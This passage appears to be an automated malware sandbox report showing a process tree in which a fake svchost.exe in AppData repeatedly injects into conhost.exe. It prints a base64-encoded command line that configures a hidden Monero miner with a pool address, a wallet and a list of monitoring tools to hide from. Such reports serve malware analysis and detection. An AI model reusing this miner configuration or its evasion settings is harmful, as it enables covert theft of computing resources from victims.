                        "C:\Users\Admin\AppData\Roaming\Microsoft\Internet Explorer\UserData\Low\svchost.exe"
                        9⤵
                        • Executes dropped EXE
                        • Suspicious use of SetThreadContext
                        PID:2640
                        • C:\Windows\system32\conhost.exe
                          conhost.exe LQAtAGMAaQBuAGkAdAAtAGkAZAAgAFoAcQBqADkANgBZAGwAaAAgAC0AbwAgAGcAdQBsAGYALgBtAG8AbgBlAHIAbwBvAGMAZQBhAG4ALgBzAHQAcgBlAGEAbQA6ADEAMAAwADAAMQAgAC0AdQAgADQAOQA5AEwATQBiAHkAQgBkAG0ARwAyAGoARQBQAG0AZQBaAEIAcwBoAHUASgBOAEYAZABXAHEAWQAxADEATgBHADUAQwBWAGIANQBzAHUAcwBWADcAagBmAGgAWABZAG8AZwBEADMAcAAzAGIAYwBnAGoAQQBRAGoAeQBDAFAAYQBxAEMAdwBHAFoATABqAHYAZABjAEoAeQAzAFoAUgB2AHAAVQBOAEsAeQA5AFIATABkAEYAUgA2AFkARwAuAEMATwBNAFAAVQBUAEUAUgBOAEEATQBFACAALQBwACAAeAAgAC0ALQBjAG8AaQBuACAAWABNAFIAIAAtAC0AYwBwAHUALQBtAGEAeAAtAHQAaAByAGUAYQBkAHMALQBoAGkAbgB0ACAANwAwACAALQAtAGMAaQBuAGkAdAAtAHMAdABlAGEAbAB0AGgALQB0AGEAcgBnAGUAdABzACAAVABhAHMAawBtAGcAcgAuAGUAeABlACwAcABlAHIAZgBtAG8AbgAuAGUAeABlACwAUAByAG8AYwBlAHMAcwBIAGEAYwBrAGUAcgAuAGUAeABlACwAcAByAG8AYwBlAHgAcAAuAGUAeABlACwAbQBzAGMAbwBuAGYAaQBnAC4AZQB4AGUALAByAGUAZwBlAGQAaQB0AC4AZQB4AGUALAB3AGkAcgBlAHMAaABhAHIAawAuAGUAeABlACwAdABjAHAAdgBpAGUAdwAuAGUAeABlACAALQAtAGMAaQBuAGkAdAAtAHMAdABlAGEAbAB0AGgALQBmAHUAbABsAHMAYwByAGUAZQBuACAAdAByAHUAZQAgAA==
                          10⤵
                          • Suspicious use of AdjustPrivilegeToken
                          • Suspicious use of FindShellTrayWindow
                          PID:6068
                        • C:\Windows\system32\conhost.exe
                          C:\Windows\system32\conhost.exe
                          10⤵
                            PID:2624
                        • C:\Users\Admin\AppData\Roaming\Microsoft\Internet Explorer\UserData\Low\svchost.exe
                          "C:\Users\Admin\AppData\Roaming\Microsoft\Internet Explorer\UserData\Low\svchost.exe"
                          9⤵
                          • Executes dropped EXE
                          • Suspicious use of SetThreadContext
                          PID:5664
                          • C:\Windows\system32\conhost.exe
                            conhost.exe LQAtAGMAaQBuAGkAdAAtAGkAZAAgAFoAcQBqADkANgBZAGwAaAAgAC0AbwAgAGcAdQBsAGYALgBtAG8AbgBlAHIAbwBvAGMAZQBhAG4ALgBzAHQAcgBlAGEAbQA6ADEAMAAwADAAMQAgAC0AdQAgADQAOQA5AEwATQBiAHkAQgBkAG0ARwAyAGoARQBQAG0AZQBaAEIAcwBoAHUASgBOAEYAZABXAHEAWQAxADEATgBHADUAQwBWAGIANQBzAHUAcwBWADcAagBmAGgAWABZAG8AZwBEADMAcAAzAGIAYwBnAGoAQQBRAGoAeQBDAFAAYQBxAEMAdwBHAFoATABqAHYAZABjAEoAeQAzAFoAUgB2AHAAVQBOAEsAeQA5AFIATABkAEYAUgA2AFkARwAuAEMATwBNAFAAVQBUAEUAUgBOAEEATQBFACAALQBwACAAeAAgAC0ALQBjAG8AaQBuACAAWABNAFIAIAAtAC0AYwBwAHUALQBtAGEAeAAtAHQAaAByAGUAYQBkAHMALQBoAGkAbgB0ACAANwAwACAALQAtAGMAaQBuAGkAdAAtAHMAdABlAGEAbAB0AGgALQB0AGEAcgBnAGUAdABzACAAVABhAHMAawBtAGcAcgAuAGUAeABlACwAcABlAHIAZgBtAG8AbgAuAGUAeABlACwAUAByAG8AYwBlAHMAcwBIAGEAYwBrAGUAcgAuAGUAeABlACwAcAByAG8AYwBlAHgAcAAuAGUAeABlACwAbQBzAGMAbwBuAGYAaQBnAC4AZQB4AGUALAByAGUAZwBlAGQAaQB0AC4AZQB4AGUALAB3AGkAcgBlAHMAaABhAHIAawAuAGUAeABlACwAdABjAHAAdgBpAGUAdwAuAGUAeABlACAALQAtAGMAaQBuAGkAdAAtAHMAdABlAGEAbAB0AGgALQBmAHUAbABsAHMAYwByAGUAZQBuACAAdAByAHUAZQAgAA==
                            10⤵
                            • Suspicious use of AdjustPrivilegeToken
                            • Suspicious use of FindShellTrayWindow
                            PID:544
                          • C:\Windows\system32\conhost.exe
                            C:\Windows\system32\conhost.exe
                            10⤵
                              PID:3296
                          • C:\Users\Admin\AppData\Roaming\Microsoft\Internet Explorer\UserData\Low\svchost.exe
                            "C:\Users\Admin\AppData\Roaming\Microsoft\Internet Explorer\UserData\Low\svchost.exe"
                            9⤵
                            • Executes dropped EXE
                            PID:3508
                      • C:\Users\Admin\AppData\Roaming\Microsoft\Internet Explorer\UserData\Low\svchost.exe
                        "C:\Users\Admin\AppData\Roaming\Microsoft\Internet Explorer\UserData\Low\svchost.exe"
                        7⤵
                        • Executes dropped EXE
                        PID:3528
                      • C:\Users\Admin\AppData\Roaming\Microsoft\Internet Explorer\UserData\Low\svchost.exe
                        "C:\Users\Admin\AppData\Roaming\Microsoft\Internet Explorer\UserData\Low\svchost.exe"
                        7⤵
                        • Executes dropped EXE
                        PID:3628
                      • C:\Users\Admin\AppData\Roaming\Microsoft\Internet Explorer\UserData\Low\svchost.exe
                        "C:\Users\Admin\AppData\Roaming\Microsoft\Internet Explorer\UserData\Low\svchost.exe"
                        7⤵
                        • Executes dropped EXE
                        PID:3576
                  • C:\Users\Admin\AppData\Roaming\Microsoft\Internet Explorer\UserData\Low\svchost.exe
                    "C:\Users\Admin\AppData\Roaming\Microsoft\Internet Explorer\UserData\Low\svchost.exe"
                    5⤵
                    • Executes dropped EXE
                    • Suspicious use of SetThreadContext
                    PID:4576
                    • C:\Windows\system32\conhost.exe
                      conhost.exe LQAtAGMAaQBuAGkAdAAtAGkAZAAgAFoAcQBqADkANgBZAGwAaAAgAC0AbwAgAGcAdQBsAGYALgBtAG8AbgBlAHIAbwBvAGMAZQBhAG4ALgBzAHQAcgBlAGEAbQA6ADEAMAAwADAAMQAgAC0AdQAgADQAOQA5AEwATQBiAHkAQgBkAG0ARwAyAGoARQBQAG0AZQBaAEIAcwBoAHUASgBOAEYAZABXAHEAWQAxADEATgBHADUAQwBWAGIANQBzAHUAcwBWADcAagBmAGgAWABZAG8AZwBEADMAcAAzAGIAYwBnAGoAQQBRAGoAeQBDAFAAYQBxAEMAdwBHAFoATABqAHYAZABjAEoAeQAzAFoAUgB2AHAAVQBOAEsAeQA5AFIATABkAEYAUgA2AFkARwAuAEMATwBNAFAAVQBUAEUAUgBOAEEATQBFACAALQBwACAAeAAgAC0ALQBjAG8AaQBuACAAWABNAFIAIAAtAC0AYwBwAHUALQBtAGEAeAAtAHQAaAByAGUAYQBkAHMALQBoAGkAbgB0ACAANwAwACAALQAtAGMAaQBuAGkAdAAtAHMAdABlAGEAbAB0AGgALQB0AGEAcgBnAGUAdABzACAAVABhAHMAawBtAGcAcgAuAGUAeABlACwAcABlAHIAZgBtAG8AbgAuAGUAeABlACwAUAByAG8AYwBlAHMAcwBIAGEAYwBrAGUAcgAuAGUAeABlACwAcAByAG8AYwBlAHgAcAAuAGUAeABlACwAbQBzAGMAbwBuAGYAaQBnAC4AZQB4AGUALAByAGUAZwBlAGQAaQB0AC4AZQB4AGUALAB3AGkAcgBlAHMAaABhAHIAawAuAGUAeABlACwAdABjAHAAdgBpAGUAdwAuAGUAeABlACAALQAtAGMAaQBuAGkAdAAtAHMAdABlAGEAbAB0AGgALQBmAHUAbABsAHMAYwByAGUAZQBuACAAdAByAHUAZQAgAA==
                      6⤵
                      • Suspicious use of AdjustPrivilegeToken
                      • Suspicious use of FindShellTrayWindow
                      PID:4428
                    • C:\Windows\system32\conhost.exe
                      C:\Windows\system32\conhost.exe
                      6⤵
                        PID:5712
                    • C:\Users\Admin\AppData\Roaming\Microsoft\Internet Explorer\UserData\Low\svchost.exe
                      "C:\Users\Admin\AppData\Roaming\Microsoft\Internet Explorer\UserData\Low\svchost.exe"
                      5⤵
                      • Executes dropped EXE
                      PID:5428
                    • C:\Users\Admin\AppData\Roaming\Microsoft\Internet Explorer\UserData\Low\svchost.exe
                      "C:\Users\Admin\AppData\Roaming\Microsoft\Internet Explorer\UserData\Low\svchost.exe"
                      5⤵
                      • Executes dropped EXE
                      PID:4156
                • C:\Users\Admin\AppData\Roaming\Microsoft\Internet Explorer\UserData\Low\svchost.exe
                  "C:\Users\Admin\AppData\Roaming\Microsoft\Internet Explorer\UserData\Low\svchost.exe"
                  3⤵
                  • Executes dropped EXE
                  • Suspicious use of SetThreadContext
                  • Suspicious use of WriteProcessMemory
                  PID:4324
                  • C:\Windows\system32\conhost.exe
                    conhost.exe LQAtAGMAaQBuAGkAdAAtAGkAZAAgAFoAcQBqADkANgBZAGwAaAAgAC0AbwAgAGcAdQBsAGYALgBtAG8AbgBlAHIAbwBvAGMAZQBhAG4ALgBzAHQAcgBlAGEAbQA6ADEAMAAwADAAMQAgAC0AdQAgADQAOQA5AEwATQBiAHkAQgBkAG0ARwAyAGoARQBQAG0AZQBaAEIAcwBoAHUASgBOAEYAZABXAHEAWQAxADEATgBHADUAQwBWAGIANQBzAHUAcwBWADcAagBmAGgAWABZAG8AZwBEADMAcAAzAGIAYwBnAGoAQQBRAGoAeQBDAFAAYQBxAEMAdwBHAFoATABqAHYAZABjAEoAeQAzAFoAUgB2AHAAVQBOAEsAeQA5AFIATABkAEYAUgA2AFkARwAuAEMATwBNAFAAVQBUAEUAUgBOAEEATQBFACAALQBwACAAeAAgAC0ALQBjAG8AaQBuACAAWABNAFIAIAAtAC0AYwBwAHUALQBtAGEAeAAtAHQAaAByAGUAYQBkAHMALQBoAGkAbgB0ACAANwAwACAALQAtAGMAaQBuAGkAdAAtAHMAdABlAGEAbAB0AGgALQB0AGEAcgBnAGUAdABzACAAVABhAHMAawBtAGcAcgAuAGUAeABlACwAcABlAHIAZgBtAG8AbgAuAGUAeABlACwAUAByAG8AYwBlAHMAcwBIAGEAYwBrAGUAcgAuAGUAeABlACwAcAByAG8AYwBlAHgAcAAuAGUAeABlACwAbQBzAGMAbwBuAGYAaQBnAC4AZQB4AGUALAByAGUAZwBlAGQAaQB0AC4AZQB4AGUALAB3AGkAcgBlAHMAaABhAHIAawAuAGUAeABlACwAdABjAHAAdgBpAGUAdwAuAGUAeABlACAALQAtAGMAaQBuAGkAdAAtAHMAdABlAGEAbAB0AGgALQBmAHUAbABsAHMAYwByAGUAZQBuACAAdAByAHUAZQAgAA==
                    4⤵
                    • Suspicious use of AdjustPrivilegeToken
                    • Suspicious use of FindShellTrayWindow
                    PID:5880
                  • C:\Windows\system32\conhost.exe
                    C:\Windows\system32\conhost.exe
                    4⤵
                    • Suspicious use of WriteProcessMemory
                    PID:3480
                    • C:\Users\Admin\AppData\Roaming\Microsoft\Internet Explorer\UserData\Low\svchost.exe
                      "C:\Users\Admin\AppData\Roaming\Microsoft\Internet Explorer\UserData\Low\svchost.exe"
                      5⤵
                      • Executes dropped EXE
                      • Suspicious use of SetThreadContext
                      • Suspicious use of WriteProcessMemory
                      PID:1960
                      • C:\Windows\system32\conhost.exe
                        conhost.exe LQAtAGMAaQBuAGkAdAAtAGkAZAAgAFoAcQBqADkANgBZAGwAaAAgAC0AbwAgAGcAdQBsAGYALgBtAG8AbgBlAHIAbwBvAGMAZQBhAG4ALgBzAHQAcgBlAGEAbQA6ADEAMAAwADAAMQAgAC0AdQAgADQAOQA5AEwATQBiAHkAQgBkAG0ARwAyAGoARQBQAG0AZQBaAEIAcwBoAHUASgBOAEYAZABXAHEAWQAxADEATgBHADUAQwBWAGIANQBzAHUAcwBWADcAagBmAGgAWABZAG8AZwBEADMAcAAzAGIAYwBnAGoAQQBRAGoAeQBDAFAAYQBxAEMAdwBHAFoATABqAHYAZABjAEoAeQAzAFoAUgB2AHAAVQBOAEsAeQA5AFIATABkAEYAUgA2AFkARwAuAEMATwBNAFAAVQBUAEUAUgBOAEEATQBFACAALQBwACAAeAAgAC0ALQBjAG8AaQBuACAAWABNAFIAIAAtAC0AYwBwAHUALQBtAGEAeAAtAHQAaAByAGUAYQBkAHMALQBoAGkAbgB0ACAANwAwACAALQAtAGMAaQBuAGkAdAAtAHMAdABlAGEAbAB0AGgALQB0AGEAcgBnAGUAdABzACAAVABhAHMAawBtAGcAcgAuAGUAeABlACwAcABlAHIAZgBtAG8AbgAuAGUAeABlACwAUAByAG8AYwBlAHMAcwBIAGEAYwBrAGUAcgAuAGUAeABlACwAcAByAG8AYwBlAHgAcAAuAGUAeABlACwAbQBzAGMAbwBuAGYAaQBnAC4AZQB4AGUALAByAGUAZwBlAGQAaQB0AC4AZQB4AGUALAB3AGkAcgBlAHMAaABhAHIAawAuAGUAeABlACwAdABjAHAAdgBpAGUAdwAuAGUAeABlACAALQAtAGMAaQBuAGkAdAAtAHMAdABlAGEAbAB0AGgALQBmAHUAbABsAHMAYwByAGUAZQBuACAAdAByAHUAZQAgAA==
                        6⤵
                        • Suspicious use of AdjustPrivilegeToken
                        • Suspicious use of FindShellTrayWindow
                        PID:2672
                      • C:\Windows\system32\conhost.exe
                        C:\Windows\system32\conhost.exe
                        6⤵
                        • Suspicious use of WriteProcessMemory
                        PID:4620
                        • C:\Users\Admin\AppData\Roaming\Microsoft\Internet Explorer\UserData\Low\svchost.exe
                          "C:\Users\Admin\AppData\Roaming\Microsoft\Internet Explorer\UserData\Low\svchost.exe"
                          7⤵
                          • Executes dropped EXE
                          • Suspicious use of SetThreadContext
                          • Suspicious use of WriteProcessMemory
                          PID:4976
                          • C:\Windows\system32\conhost.exe
                            conhost.exe LQAtAGMAaQBuAGkAdAAtAGkAZAAgAFoAcQBqADkANgBZAGwAaAAgAC0AbwAgAGcAdQBsAGYALgBtAG8AbgBlAHIAbwBvAGMAZQBhAG4ALgBzAHQAcgBlAGEAbQA6ADEAMAAwADAAMQAgAC0AdQAgADQAOQA5AEwATQBiAHkAQgBkAG0ARwAyAGoARQBQAG0AZQBaAEIAcwBoAHUASgBOAEYAZABXAHEAWQAxADEATgBHADUAQwBWAGIANQBzAHUAcwBWADcAagBmAGgAWABZAG8AZwBEADMAcAAzAGIAYwBnAGoAQQBRAGoAeQBDAFAAYQBxAEMAdwBHAFoATABqAHYAZABjAEoAeQAzAFoAUgB2AHAAVQBOAEsAeQA5AFIATABkAEYAUgA2AFkARwAuAEMATwBNAFAAVQBUAEUAUgBOAEEATQBFACAALQBwACAAeAAgAC0ALQBjAG8AaQBuACAAWABNAFIAIAAtAC0AYwBwAHUALQBtAGEAeAAtAHQAaAByAGUAYQBkAHMALQBoAGkAbgB0ACAANwAwACAALQAtAGMAaQBuAGkAdAAtAHMAdABlAGEAbAB0AGgALQB0AGEAcgBnAGUAdABzACAAVABhAHMAawBtAGcAcgAuAGUAeABlACwAcABlAHIAZgBtAG8AbgAuAGUAeABlACwAUAByAG8AYwBlAHMAcwBIAGEAYwBrAGUAcgAuAGUAeABlACwAcAByAG8AYwBlAHgAcAAuAGUAeABlACwAbQBzAGMAbwBuAGYAaQBnAC4AZQB4AGUALAByAGUAZwBlAGQAaQB0AC4AZQB4AGUALAB3AGkAcgBlAHMAaABhAHIAawAuAGUAeABlACwAdABjAHAAdgBpAGUAdwAuAGUAeABlACAALQAtAGMAaQBuAGkAdAAtAHMAdABlAGEAbAB0AGgALQBmAHUAbABsAHMAYwByAGUAZQBuACAAdAByAHUAZQAgAA==
                            8⤵
                            • Suspicious use of AdjustPrivilegeToken
                            • Suspicious use of FindShellTrayWindow
                            PID:420
                          • C:\Windows\system32\conhost.exe
                            C:\Windows\system32\conhost.exe
                            8⤵
                            • Suspicious use of WriteProcessMemory
                            PID:2604
                            • C:\Users\Admin\AppData\Roaming\Microsoft\Internet Explorer\UserData\Low\svchost.exe
                              "C:\Users\Admin\AppData\Roaming\Microsoft\Internet Explorer\UserData\Low\svchost.exe"
                              9⤵
                              • Executes dropped EXE
                              • Suspicious use of SetThreadContext
                              PID:1208
                              • C:\Windows\system32\conhost.exe
                                conhost.exe LQAtAGMAaQBuAGkAdAAtAGkAZAAgAFoAcQBqADkANgBZAGwAaAAgAC0AbwAgAGcAdQBsAGYALgBtAG8AbgBlAHIAbwBvAGMAZQBhAG4ALgBzAHQAcgBlAGEAbQA6ADEAMAAwADAAMQAgAC0AdQAgADQAOQA5AEwATQBiAHkAQgBkAG0ARwAyAGoARQBQAG0AZQBaAEIAcwBoAHUASgBOAEYAZABXAHEAWQAxADEATgBHADUAQwBWAGIANQBzAHUAcwBWADcAagBmAGgAWABZAG8AZwBEADMAcAAzAGIAYwBnAGoAQQBRAGoAeQBDAFAAYQBxAEMAdwBHAFoATABqAHYAZABjAEoAeQAzAFoAUgB2AHAAVQBOAEsAeQA5AFIATABkAEYAUgA2AFkARwAuAEMATwBNAFAAVQBUAEUAUgBOAEEATQBFACAALQBwACAAeAAgAC0ALQBjAG8AaQBuACAAWABNAFIAIAAtAC0AYwBwAHUALQBtAGEAeAAtAHQAaAByAGUAYQBkAHMALQBoAGkAbgB0ACAANwAwACAALQAtAGMAaQBuAGkAdAAtAHMAdABlAGEAbAB0AGgALQB0AGEAcgBnAGUAdABzACAAVABhAHMAawBtAGcAcgAuAGUAeABlACwAcABlAHIAZgBtAG8AbgAuAGUAeABlACwAUAByAG8AYwBlAHMAcwBIAGEAYwBrAGUAcgAuAGUAeABlACwAcAByAG8AYwBlAHgAcAAuAGUAeABlACwAbQBzAGMAbwBuAGYAaQBnAC4AZQB4AGUALAByAGUAZwBlAGQAaQB0AC4AZQB4AGUALAB3AGkAcgBlAHMAaABhAHIAawAuAGUAeABlACwAdABjAHAAdgBpAGUAdwAuAGUAeABlACAALQAtAGMAaQBuAGkAdAAtAHMAdABlAGEAbAB0AGgALQBmAHUAbABsAHMAYwByAGUAZQBuACAAdAByAHUAZQAgAA==
                                10⤵
                                • Suspicious use of AdjustPrivilegeToken
                                • Suspicious use of FindShellTrayWindow
                                PID:3856
                              • C:\Windows\system32\conhost.exe
                                C:\Windows\system32\conhost.exe
                                10⤵
                                  PID:3432
                              • C:\Users\Admin\AppData\Roaming\Microsoft\Internet Explorer\UserData\Low\svchost.exe
                                "C:\Users\Admin\AppData\Roaming\Microsoft\Internet Explorer\UserData\Low\svchost.exe"
                                9⤵
                                • Executes dropped EXE
                                • Suspicious use of SetThreadContext
                                PID:4140
                                • C:\Windows\system32\conhost.exe
                                  conhost.exe LQAtAGMAaQBuAGkAdAAtAGkAZAAgAFoAcQBqADkANgBZAGwAaAAgAC0AbwAgAGcAdQBsAGYALgBtAG8AbgBlAHIAbwBvAGMAZQBhAG4ALgBzAHQAcgBlAGEAbQA6ADEAMAAwADAAMQAgAC0AdQAgADQAOQA5AEwATQBiAHkAQgBkAG0ARwAyAGoARQBQAG0AZQBaAEIAcwBoAHUASgBOAEYAZABXAHEAWQAxADEATgBHADUAQwBWAGIANQBzAHUAcwBWADcAagBmAGgAWABZAG8AZwBEADMAcAAzAGIAYwBnAGoAQQBRAGoAeQBDAFAAYQBxAEMAdwBHAFoATABqAHYAZABjAEoAeQAzAFoAUgB2AHAAVQBOAEsAeQA5AFIATABkAEYAUgA2AFkARwAuAEMATwBNAFAAVQBUAEUAUgBOAEEATQBFACAALQBwACAAeAAgAC0ALQBjAG8AaQBuACAAWABNAFIAIAAtAC0AYwBwAHUALQBtAGEAeAAtAHQAaAByAGUAYQBkAHMALQBoAGkAbgB0ACAANwAwACAALQAtAGMAaQBuAGkAdAAtAHMAdABlAGEAbAB0AGgALQB0AGEAcgBnAGUAdABzACAAVABhAHMAawBtAGcAcgAuAGUAeABlACwAcABlAHIAZgBtAG8AbgAuAGUAeABlACwAUAByAG8AYwBlAHMAcwBIAGEAYwBrAGUAcgAuAGUAeABlACwAcAByAG8AYwBlAHgAcAAuAGUAeABlACwAbQBzAGMAbwBuAGYAaQBnAC4AZQB4AGUALAByAGUAZwBlAGQAaQB0AC4AZQB4AGUALAB3AGkAcgBlAHMAaABhAHIAawAuAGUAeABlACwAdABjAHAAdgBpAGUAdwAuAGUAeABlACAALQAtAGMAaQBuAGkAdAAtAHMAdABlAGEAbAB0AGgALQBmAHUAbABsAHMAYwByAGUAZQBuACAAdAByAHUAZQAgAA==
                                  10⤵
                                  • Suspicious use of AdjustPrivilegeToken
                                  • Suspicious use of FindShellTrayWindow
                                  PID:1248
                                • C:\Windows\system32\conhost.exe
                                  C:\Windows\system32\conhost.exe
                                  10⤵
                                    PID:5008
                                • C:\Users\Admin\AppData\Roaming\Microsoft\Internet Explorer\UserData\Low\svchost.exe
                                  "C:\Users\Admin\AppData\Roaming\Microsoft\Internet Explorer\UserData\Low\svchost.exe"
                                  9⤵
                                  • Executes dropped EXE
                                  • Suspicious use of SetThreadContext
                                  PID:5528
                                  • C:\Windows\system32\conhost.exe
                                    conhost.exe LQAtAGMAaQBuAGkAdAAtAGkAZAAgAFoAcQBqADkANgBZAGwAaAAgAC0AbwAgAGcAdQBsAGYALgBtAG8AbgBlAHIAbwBvAGMAZQBhAG4ALgBzAHQAcgBlAGEAbQA6ADEAMAAwADAAMQAgAC0AdQAgADQAOQA5AEwATQBiAHkAQgBkAG0ARwAyAGoARQBQAG0AZQBaAEIAcwBoAHUASgBOAEYAZABXAHEAWQAxADEATgBHADUAQwBWAGIANQBzAHUAcwBWADcAagBmAGgAWABZAG8AZwBEADMAcAAzAGIAYwBnAGoAQQBRAGoAeQBDAFAAYQBxAEMAdwBHAFoATABqAHYAZABjAEoAeQAzAFoAUgB2AHAAVQBOAEsAeQA5AFIATABkAEYAUgA2AFkARwAuAEMATwBNAFAAVQBUAEUAUgBOAEEATQBFACAALQBwACAAeAAgAC0ALQBjAG8AaQBuACAAWABNAFIAIAAtAC0AYwBwAHUALQBtAGEAeAAtAHQAaAByAGUAYQBkAHMALQBoAGkAbgB0ACAANwAwACAALQAtAGMAaQBuAGkAdAAtAHMAdABlAGEAbAB0AGgALQB0AGEAcgBnAGUAdABzACAAVABhAHMAawBtAGcAcgAuAGUAeABlACwAcABlAHIAZgBtAG8AbgAuAGUAeABlACwAUAByAG8AYwBlAHMAcwBIAGEAYwBrAGUAcgAuAGUAeABlACwAcAByAG8AYwBlAHgAcAAuAGUAeABlACwAbQBzAGMAbwBuAGYAaQBnAC4AZQB4AGUALAByAGUAZwBlAGQAaQB0AC4AZQB4AGUALAB3AGkAcgBlAHMAaABhAHIAawAuAGUAeABlACwAdABjAHAAdgBpAGUAdwAuAGUAeABlACAALQAtAGMAaQBuAGkAdAAtAHMAdABlAGEAbAB0AGgALQBmAHUAbABsAHMAYwByAGUAZQBuACAAdAByAHUAZQAgAA==
                                    10⤵
                                    • Suspicious use of AdjustPrivilegeToken
                                    • Suspicious use of FindShellTrayWindow
                                    PID:456
                                  • C:\Windows\system32\conhost.exe
                                    C:\Windows\system32\conhost.exe
                                    10⤵
                                      PID:3880
                                      • C:\Users\Admin\AppData\Roaming\Microsoft\Internet Explorer\UserData\Low\svchost.exe
                                        "C:\Users\Admin\AppData\Roaming\Microsoft\Internet Explorer\UserData\Low\svchost.exe"
                                        11⤵
                                        • Executes dropped EXE
                                        • Suspicious use of SetThreadContext
                                        PID:4060
                                        • C:\Windows\system32\conhost.exe
                                          conhost.exe LQAtAGMAaQBuAGkAdAAtAGkAZAAgAFoAcQBqADkANgBZAGwAaAAgAC0AbwAgAGcAdQBsAGYALgBtAG8AbgBlAHIAbwBvAGMAZQBhAG4ALgBzAHQAcgBlAGEAbQA6ADEAMAAwADAAMQAgAC0AdQAgADQAOQA5AEwATQBiAHkAQgBkAG0ARwAyAGoARQBQAG0AZQBaAEIAcwBoAHUASgBOAEYAZABXAHEAWQAxADEATgBHADUAQwBWAGIANQBzAHUAcwBWADcAagBmAGgAWABZAG8AZwBEADMAcAAzAGIAYwBnAGoAQQBRAGoAeQBDAFAAYQBxAEMAdwBHAFoATABqAHYAZABjAEoAeQAzAFoAUgB2AHAAVQBOAEsAeQA5AFIATABkAEYAUgA2AFkARwAuAEMATwBNAFAAVQBUAEUAUgBOAEEATQBFACAALQBwACAAeAAgAC0ALQBjAG8AaQBuACAAWABNAFIAIAAtAC0AYwBwAHUALQBtAGEAeAAtAHQAaAByAGUAYQBkAHMALQBoAGkAbgB0ACAANwAwACAALQAtAGMAaQBuAGkAdAAtAHMAdABlAGEAbAB0AGgALQB0AGEAcgBnAGUAdABzACAAVABhAHMAawBtAGcAcgAuAGUAeABlACwAcABlAHIAZgBtAG8AbgAuAGUAeABlACwAUAByAG8AYwBlAHMAcwBIAGEAYwBrAGUAcgAuAGUAeABlACwAcAByAG8AYwBlAHgAcAAuAGUAeABlACwAbQBzAGMAbwBuAGYAaQBnAC4AZQB4AGUALAByAGUAZwBlAGQAaQB0AC4AZQB4AGUALAB3AGkAcgBlAHMAaABhAHIAawAuAGUAeABlACwAdABjAHAAdgBpAGUAdwAuAGUAeABlACAALQAtAGMAaQBuAGkAdAAtAHMAdABlAGEAbAB0AGgALQBmAHUAbABsAHMAYwByAGUAZQBuACAAdAByAHUAZQAgAA==
                                          12⤵
                                            PID:5564
                                          • C:\Windows\system32\conhost.exe
                                            C:\Windows\system32\conhost.exe
                                            12⤵
                                              PID:3124
                                              • C:\Users\Admin\AppData\Roaming\Microsoft\Internet Explorer\UserData\Low\svchost.exe
                                                "C:\Users\Admin\AppData\Roaming\Microsoft\Internet Explorer\UserData\Low\svchost.exe"
                                                13⤵
                                                • Executes dropped EXE
                                                PID:616
                                      • C:\Users\Admin\AppData\Roaming\Microsoft\Internet Explorer\UserData\Low\svchost.exe
                                        "C:\Users\Admin\AppData\Roaming\Microsoft\Internet Explorer\UserData\Low\svchost.exe"
                                        9⤵
                                        • Executes dropped EXE
                                        PID:5416
                                  • C:\Users\Admin\AppData\Roaming\Microsoft\Internet Explorer\UserData\Low\svchost.exe
                                    "C:\Users\Admin\AppData\Roaming\Microsoft\Internet Explorer\UserData\Low\svchost.exe"
                                    7⤵
                                    • Executes dropped EXE
                                    • Suspicious use of SetThreadContext
                                    PID:1908
                                    • C:\Windows\system32\conhost.exe
                                      conhost.exe LQAtAGMAaQBuAGkAdAAtAGkAZAAgAFoAcQBqADkANgBZAGwAaAAgAC0AbwAgAGcAdQBsAGYALgBtAG8AbgBlAHIAbwBvAGMAZQBhAG4ALgBzAHQAcgBlAGEAbQA6ADEAMAAwADAAMQAgAC0AdQAgADQAOQA5AEwATQBiAHkAQgBkAG0ARwAyAGoARQBQAG0AZQBaAEIAcwBoAHUASgBOAEYAZABXAHEAWQAxADEATgBHADUAQwBWAGIANQBzAHUAcwBWADcAagBmAGgAWABZAG8AZwBEADMAcAAzAGIAYwBnAGoAQQBRAGoAeQBDAFAAYQBxAEMAdwBHAFoATABqAHYAZABjAEoAeQAzAFoAUgB2AHAAVQBOAEsAeQA5AFIATABkAEYAUgA2AFkARwAuAEMATwBNAFAAVQBUAEUAUgBOAEEATQBFACAALQBwACAAeAAgAC0ALQBjAG8AaQBuACAAWABNAFIAIAAtAC0AYwBwAHUALQBtAGEAeAAtAHQAaAByAGUAYQBkAHMALQBoAGkAbgB0ACAANwAwACAALQAtAGMAaQBuAGkAdAAtAHMAdABlAGEAbAB0AGgALQB0AGEAcgBnAGUAdABzACAAVABhAHMAawBtAGcAcgAuAGUAeABlACwAcABlAHIAZgBtAG8AbgAuAGUAeABlACwAUAByAG8AYwBlAHMAcwBIAGEAYwBrAGUAcgAuAGUAeABlACwAcAByAG8AYwBlAHgAcAAuAGUAeABlACwAbQBzAGMAbwBuAGYAaQBnAC4AZQB4AGUALAByAGUAZwBlAGQAaQB0AC4AZQB4AGUALAB3AGkAcgBlAHMAaABhAHIAawAuAGUAeABlACwAdABjAHAAdgBpAGUAdwAuAGUAeABlACAALQAtAGMAaQBuAGkAdAAtAHMAdABlAGEAbAB0AGgALQBmAHUAbABsAHMAYwByAGUAZQBuACAAdAByAHUAZQAgAA==
                                      8⤵
                                      • Suspicious use of AdjustPrivilegeToken
                                      • Suspicious use of FindShellTrayWindow
                                      PID:900
                                    • C:\Windows\system32\conhost.exe
                                      C:\Windows\system32\conhost.exe
                                      8⤵
                                        PID:6016
                                    • C:\Users\Admin\AppData\Roaming\Microsoft\Internet Explorer\UserData\Low\svchost.exe
                                      "C:\Users\Admin\AppData\Roaming\Microsoft\Internet Explorer\UserData\Low\svchost.exe"
                                      7⤵
                                      • Executes dropped EXE
                                      • Suspicious use of SetThreadContext
                                      PID:4132
                                      • C:\Windows\system32\conhost.exe
